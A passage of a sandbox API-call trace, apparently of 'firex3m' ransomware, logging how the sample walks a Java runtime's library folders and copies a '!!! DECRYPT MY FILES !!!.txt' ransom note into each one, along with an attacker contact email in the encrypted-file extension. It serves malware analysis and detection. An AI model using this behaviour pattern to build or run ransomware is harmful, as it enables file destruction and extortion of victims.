lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0119.072] GetProcessHeap () returned 0x630000 [0119.072] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6807b8, Size=0x11c) returned 0x731ceb0 [0119.072] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2899, dwReserved0=0x0, dwReserved1=0x0, cFileName="psfontj2d.properties", cAlternateFileName="PSFONT~1.PRO")) returned 1 [0119.072] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties", len=0x3b | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 1 [0119.072] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties", cchLength=0x3b | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 0x3b [0119.072] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.072] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0119.073] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0119.073] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0119.073] GetProcessHeap () returned 0x630000 [0119.073] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x731ceb0, Size=0x120) returned 0x731ceb0 [0119.073] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x354add, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.jar", cAlternateFileName="RESOUR~1.JAR")) returned 1 [0119.073] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar", len=0x34 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 1 [0119.073] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar", cchLength=0x34 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar") returned 0x34 [0119.073] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.073] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0119.073] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0119.073] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0119.073] GetProcessHeap () returned 0x630000 [0119.073] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x731ceb0, Size=0x124) returned 0x731ceb0 [0119.073] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa90a30aa, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa90a30aa, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa7233eb, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x340865b, dwReserved0=0x0, dwReserved1=0x0, cFileName="rt.jar", cAlternateFileName="")) returned 1 [0119.074] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar", len=0x2d | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 1 [0119.074] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar", cchLength=0x2d | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar") returned 0x2d [0119.074] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.074] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0119.074] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0119.074] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0119.074] GetProcessHeap () returned 0x630000 [0119.074] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x731ceb0, Size=0x128) returned 0x731ceb0 [0119.074] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1418338, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="security", cAlternateFileName="")) returned 1 [0119.074] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\", len=0x30 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\") returned 1 [0119.074] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\", cchLength=0x30 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\security\\") returned 0x30 [0119.074] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0119.075] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0119.075] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1418338, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x630330, cFileName=".", cAlternateFileName="")) returned 0x6d5500 [0119.077] FindNextFileW (in: hFindFile=0x6d5500, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1418338, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.077] FindNextFileW (in: hFindFile=0x6d5500, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xfd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="blacklist", cAlternateFileName="BLACKL~1")) returned 1 [0119.077] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist", len=0x39 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 1 [0119.077] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist", cchLength=0x39 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist") returned 0x39 [0119.077] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.077] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0119.077] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0119.077] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0119.077] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdae4, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0119.078] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebdae0, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0119.078] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebe84c | out: lpFindFileData=0x6ebe84c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xa8c76e77, dwReserved1=0x1d327cc, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5240 [0119.078] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0119.078] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0119.081] GetProcessHeap () returned 0x630000 [0119.081] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x731ceb0, Size=0x12c) returned 0x731ceb0 [0119.081] FindNextFileW (in: hFindFile=0x6d5500, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="blacklisted.certs", cAlternateFileName="BLACKL~1.CER")) returned 1 [0119.081] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs", len=0x41 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 1 [0119.081] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs", cchLength=0x41 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 0x41 [0119.081] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.081] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0119.081] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0119.081] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0119.081] GetProcessHeap () returned 0x630000 [0119.081] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x731ceb0, Size=0x130) returned 0x731ceb0 [0119.082] FindNextFileW (in: hFindFile=0x6d5500, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1c0eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="cacerts", cAlternateFileName="")) returned 1 [0119.082] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts", len=0x37 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 1 [0119.082] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts", cchLength=0x37 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts") returned 0x37 [0119.082] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.082] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0119.082] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0119.082] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0119.082] GetProcessHeap () returned 0x630000 [0119.082] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x731ceb0, Size=0x134) returned 0x67ce30 [0119.082] FindNextFileW (in: hFindFile=0x6d5500, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x9a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.policy", cAlternateFileName="JAVA~1.POL")) returned 1 [0119.082] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy", len=0x3b | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 1 [0119.082] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy", cchLength=0x3b | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy") returned 0x3b [0119.082] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.083] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0119.083] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0119.083] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0119.083] GetProcessHeap () returned 0x630000 [0119.083] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x67ce30, Size=0x138) returned 0x67ce30 [0119.083] FindNextFileW (in: hFindFile=0x6d5500, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8eac, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.security", cAlternateFileName="JAVA~1.SEC")) returned 1 [0119.083] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security", len=0x3d | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 1 [0119.083] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security", cchLength=0x3d | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security") returned 0x3d [0119.083] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.083] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0119.083] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0119.083] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0119.083] GetProcessHeap () returned 0x630000 [0119.083] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x67ce30, Size=0x13c) returned 0x695400 [0119.084] FindNextFileW (in: hFindFile=0x6d5500, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x62, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.policy", cAlternateFileName="JAVAWS~1.POL")) returned 1 [0119.084] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy", len=0x3d | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 1 [0119.084] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy", cchLength=0x3d | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 0x3d [0119.084] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.084] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0119.084] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0119.084] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0119.084] GetProcessHeap () returned 0x630000 [0119.084] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x695400, Size=0x140) returned 0x695400 [0119.084] FindNextFileW (in: hFindFile=0x6d5500, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xdc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="local_policy.jar", cAlternateFileName="LOCAL_~1.JAR")) returned 1 [0119.084] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar", len=0x40 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 1 [0119.084] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar", cchLength=0x40 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 0x40 [0119.084] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.085] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0119.085] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0119.085] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0119.085] GetProcessHeap () returned 0x630000 [0119.085] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x695400, Size=0x144) returned 0x695400 [0119.085] FindNextFileW (in: hFindFile=0x6d5500, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="trusted.libraries", cAlternateFileName="TRUSTE~1.LIB")) returned 1 [0119.085] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries", len=0x41 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 1 [0119.085] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries", cchLength=0x41 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 0x41 [0119.085] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: 